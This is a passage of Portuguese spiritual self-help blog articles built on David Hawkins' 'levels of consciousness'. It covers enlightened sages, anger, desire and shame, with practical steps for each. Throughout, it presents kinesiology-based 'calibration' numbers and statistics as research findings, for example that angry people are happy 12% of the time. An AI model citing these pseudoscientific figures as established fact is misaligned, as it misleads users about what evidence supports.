  • Sri Ramana Maharshi,
  • Mestre Dogen,
  • Adi Shankaracharya,
  • Mestre Eckhart (não confundir com Eckhart Tolle),
  • entre outros.

Hoje, temos o conhecimento de um Ser presente na Terra neste nível de consciência conhecido como Palden Dorje (quem se interessar pode verificar brevemente sua história no Wikipedia e assistir a este vídeo no YouTube).

“O merecedor” – Arhat

Após este estágio de grande plenitude, encontramos o tão comentado e requisitado por monges budistas, o estágio de Arhat, que significa ‘o merecedor’ ou ‘aquele que merece louvores Divinos’.

Calibrável ao nível 800, este ser cortou tanto as cinco amarras inferiores dos primeiros três primeiros estágios quanto as cinco amarras superiores sutis: desejo por existência com forma sutil (paraísos celestiais), desejo por existência nos reinos sem forma, conceitos, inquietação e ignorância. Nunca mais renasce. Atingiu e se mantém nos primeiros estágios de Nirvana ou Iluminação Plena. No ioga, este é o estágio de Nirvikalpa Samadhi, sem resquícios do ego.

Além deste nível de plenitude, existe ainda mais dois estágios possíveis de se alcançar na fisicalidade, mesmo que raros.

Este é o nível denominado Vazio e considerado por muitos o último estado de Iluminação ou Búdico, porém, de acordo com Dr. David R. Hawkins, ainda não é a Totalidade de Buda, ou da Consciência Crística.

Este estado é de tamanha Graça, que nada parece haver além dele, porém, de acordo com Hawkins, a interpretação do Vazio como estado Último é um erro de conceito sobre interpretações equivocadas das palavras de Buda.

Os sábios de Arhat

Os números de sábios nestes níveis são raros (50% do tempo sem um desses seres nos últimos 1.000 anos).

Seus ensinamentos são essencialmente os mesmos, embora surgidos em locais, tempos e culturas diferentes, alguns deles são:

  • Vedas,
  • Upanishads,
  • Baghavad Gita,
  • Canone Pali,
  • Novo Testamento,
  • Zohar, etc.

Os grandes mestres deste nível, e acima, e seus ensinamentos emanam campos extremamente poderosos de energia de alta frequência na consciência coletiva da humanidade.

A este nível de consciência encontramos profetas e sábios como:

  • Abraão,
  • Moisés,
  • João Batista,
  • Huang Po e
  • Os 12 apóstolos de Jesus.

Atualmente, temos conhecimento de apenas um Ser encarnado está neste nível de consciência denominado Venerável Pa-Auk Tawya Sayadaw (para mais informações pode-se visitar o site de seu monastério, localizado em Myanmar, ou assistir uma parte de seu vídeo legendado.

De acordo com o livro “Transcending the Levels of Consciousness“, do Dr. David R. Hawkins, o saber necessário para superar este nível é que o Amor Divino que também é não-linear e sem sujeito, objeto, forma ou condicionalidade.

O erro do Vazio é negar até mesmo o Amor Divino por confundir com o amor do estado humano egoico de posse.

O último estado de consciência do mundo físico

Como último estado de consciência possível de ser despertado no mundo físico, está o nível da Totalidade, que calibra em 1.000.

O último vestígio do ego coletivo desaparece no silêncio da Presença.

Este é o nível dos enviados Divinos, ou filhos de Deus, ou Avatares, onde encontramos:

  • Jesus Cristo,
  • Buda,
  • Krishna e
  • Zoroastro. 

A perfeição impressionante e beleza da Totalidade da Criação como Divindade irradia. 

Gloria in Excelsis Deo é o próprio Estado.

Todos estes níveis de consciência estão disponíveis para todos os seres humanos, em todos os tempos e todas as culturas.

O único pré-requisito é se dedicar, profundamente e constantemente, a buscar a Verdade e estabelecer um  compromisso em alinhar suas intenções com a Vontade Divina.

“O caminho é reto e os portões são estreitos. Não perca tempo”. 
Dr. David R. Hawkins; MD; PhD.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

Como controlar a Raiva – com base em Dr. David Hawkins

A raiva é o escudo do medo. Para controlar a raiva é necessário encontrar qual o medo que a impulsiona.

A raiva é uma emoção, e das mais perigosas, pois ela tem energia para destruir e causar mal ao outro.

Muitas pessoas, principalmente homens, dizem ou querem mostrar ser mais racionais do que emocionais.

Contudo, se irritam com facilidade, explodem, ficam indignados com a política ou condições sociais, entre outras coisas.

Acreditamos não termos medos ou sermos destemidos porque a sociedade cobra o homem dessa postura.

Portanto, é mais fácil fingir que o medo não está lá.

E quando nos deparamos com uma situação não estava prevista ou fora de nossas expectativas, o medo da impotência e da ausência de controle é demonstrado através da energia da raiva.

A raiva possui várias ramificações que deixam sua aparência mais socialmente aceitável. Por exemplo:

  • indignação,
  • impaciência,
  • irritação,
  • rancor,
  • criticas e
  • sentimentos de injustiça.

Mas, todos esses galhos surgem da mesma árvore, a raiva. E essa árvore visível aos olhos tem suas raízes escondidas no medo.

De onde vem a raiva?

Quando surge o medo de não termos controle sobre algo, ou das coisas não saírem como queremos, ou de represálias, de falharmos ou de sermos culpados, a raiva surge como protetora do ego.

Ela emerge para que o ego não admita sua vulnerabilidade e não capacidade de controlar tudo ao seu redor.

O que sai do controle vira um inimigo e, então, desperta a raiva.

Além disso, a raiva projeta a percepção de incompetência do ego nas outras pessoas através de sentimentos de:

  • inveja,
  • ciúme,
  • bullying,
  • cinismo,
  • sadismo,
  • sarcasmo,
  • desprezo,
  • repulsa,
  • hostilidade

A raiva e a birra.

Em alguns egos menos controlados, a raiva se mostra através de birra, manha e mimo.

Quantos adultos birrentos ficam bicudinhos em situações difíceis, permitindo que sua criança interior domine sua razão?

Muitos! Vemos homens, mulheres, negros, brancos, amarelos, jovens, idosos, pobres, ricos, enfim, muitos!

A consciência humana é uma e a mesma e se expressa através de corpos físicos separados e com diferentes níveis de maturidade.

Aquelas que conseguem se comunicar entre si, chamamos de animais. E os que possuem a capacidade da razão, chamamos de humanos.

Os seres humanos são os únicos seres capazes de alterar seu estado de maturidade de consciência por vontade própria e evoluir por seu livre arbítrio. Essa é a beleza de ser humano.

O que acontece com quem se entrega à raiva?

Pessoas que se entregam à raiva — e a todas as suas limitações — estão perdendo sua oportunidade de evoluir e amadurecer como seres. Ficam presas em seu próprio sofrimento.

Pesquisas através da cinesiologia realizadas pelo Dr. David R. Hawkins, MD, PhD, indicam que uma pessoa que vive constantemente com raiva em seu dia a dia (dentro de todas as suas ramificações de cinismo, satirismo, irritação, indignação, etc) são apenas 12% do tempo felizes.

Ou seja, 88% de seu tempo de vida é desperdiçado.

O desperdício ocorre na forma de detalhes:

  • perfeccionismo,
  • autodefesa.
  • busca de senso de justiça
  • e ainda, defesa de opiniões obsoletas e sem importância, com as quais só a própria pessoa se importa, porque só enxerga importância em si mesma.

Qual a utilidade dessa emoção?

Nenhuma! A raiva é destrutiva e perigosa. É egoísta e mesquinha.

Não tem utilidade social, a não ser para sugar sua energia e desconstruir o construtivismo de outras pessoas alinhadas espiritualmente.

Corrompe o princípio de moralidade e coloca-se como centro das atenções e do universo.

A raiva adora fazer seu show e chamar todas as atenções para si.

Raiva é carência lidada de uma forma imatura e desrespeitosa consigo mesma e com as outras pessoas.

Vemos então boa parte da sociedade percebendo isso e começando a buscar autocontrole, aulas de meditação, yoga ou massagens relaxantes.

Afinal, as pessoas não podem saber que a raiva está dentro.

Muitos métodos são iniciados superficialmente, apenas como descompressão do sistema de autocompressão que está prestes a explodir (não há crítica aos métodos citados, mas está sendo dito sobre a intenção rasa do buscador).

Essa prática remediativa funciona, por vezes, para se manter um convívio aceitável na sociedade, mas a infelicidade ainda reside dentro.

Como controlar a raiva e curá-la?

A única forma de controlar a raiva e iniciar a cura é através da humildade, aliada ao destemor (ou coragem).

É necessário ser humilde e assumir todos os seus defeitos de caráter como tendo sido opções suas ao longo da vida.

Assumir a responsabilidade e não culpar pais, professores, ex-namorados, etc.

É preciso assumir que somos os autores de nossa própria vida.

Que somos responsáveis pelo que escolhemos, falamos e agimos, assim como por aquilo que atraímos para nós.

Esse é um passo difícil de dar, mas necessário se quisermos iniciar um caminho de real transcendência da raiva.

Para assumir isso é necessário invocar o destemor. Não há nada a temer em assumir isso e transformar sua vida a partir de agora.

A coragem, que do latim vem de cor+aticum (agir com o coração) é peça fundamental para que possamos nos empoderar e autoafirmar.

E, assim, encarar nossos medos e resolvê-los dentro da gente antes de explanar para fora, para o externo.

8 “entregas” para se livrar da raiva

Para transcender totalmente a raiva, é necessário invocarmos constantemente a vontade de nos rendermos às posicionalidades e crenças primárias humanas:

  1. Ressentimento à “injustiça” (nós atraímos todas as situações pelas quais precisamos obter aprendizados ainda não transcendidos);
  2. Expectativas, incluindo as de relações pessoais como aprovação, acordo, reconhecimento, atenção, etc.;
  3. Entregar egocentrismo como estilo de vida e concentrar-se em mudar a si ao invés dos outros;
  4. Disposição para render resíduos da percepção de um mundo imperfeito (tudo é perfeito como É);
  5. Assumir responsabilidade pelas atitudes infantis interiores e subordiná-las a amadurecer (virarem adultas);
  6. Perceber que o ressentimento não é pelo que os outros são, mas pelo que eles não são (de acordo com nossas expectativas egoístas de como eles deveriam ser);
  7. Aceitar falibilidade humana e limitação, que ocorre devido à incapacidade de auto-honestidade (todos estão em constante aprendizado e possuem suas limitações e ignorâncias);
  8. Render o prazer temporário vindo da avidez e da resistência à aversão (desapegar da supervalorização dos estímulos sensoriais constantes que nos trazem prazeres e nos afastam dos desprazeres).

Essa lista contém o núcleo principal de todos os nossos acessos de raiva.

O ego e o medo de não controlar tudo.

É devido ao medo de não termos controle sobre esses oito aspectos citados acima que nosso ego ganha força.

A vontade intrínseca do ego é de ser Deus e poder ter controle sobre esses aspectos.

O ego quer garantir uma vida apenas de prazeres a cada um de nós, ignorando a importância do aprendizado e evolução do ser.

Como essa possibilidade é falsa, o ego se frustra por não poder ser o ‘Todo Poderoso’ e projeta sua raiva no externo, como sendo a fonte e culpado por sua infelicidade.

Afinal, a evolução surge através da experiências com situações desprazerosas.

Dica para encontrar o autodomínio

Uma forma de controlar a raiva e buscar o autodomínio é criar um estilo de vida de coragem.

Escolher autodesafios constantemente que te levem a lidar com adversidades e com o inusitado.

Dessa forma, conseguimos cada vez mais nos flexibilizar diante das lições que a vida nos traz e aumentar a nossa capacidade de amor, diminuindo as intervenções das emoções negativas.

Firme determinação e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual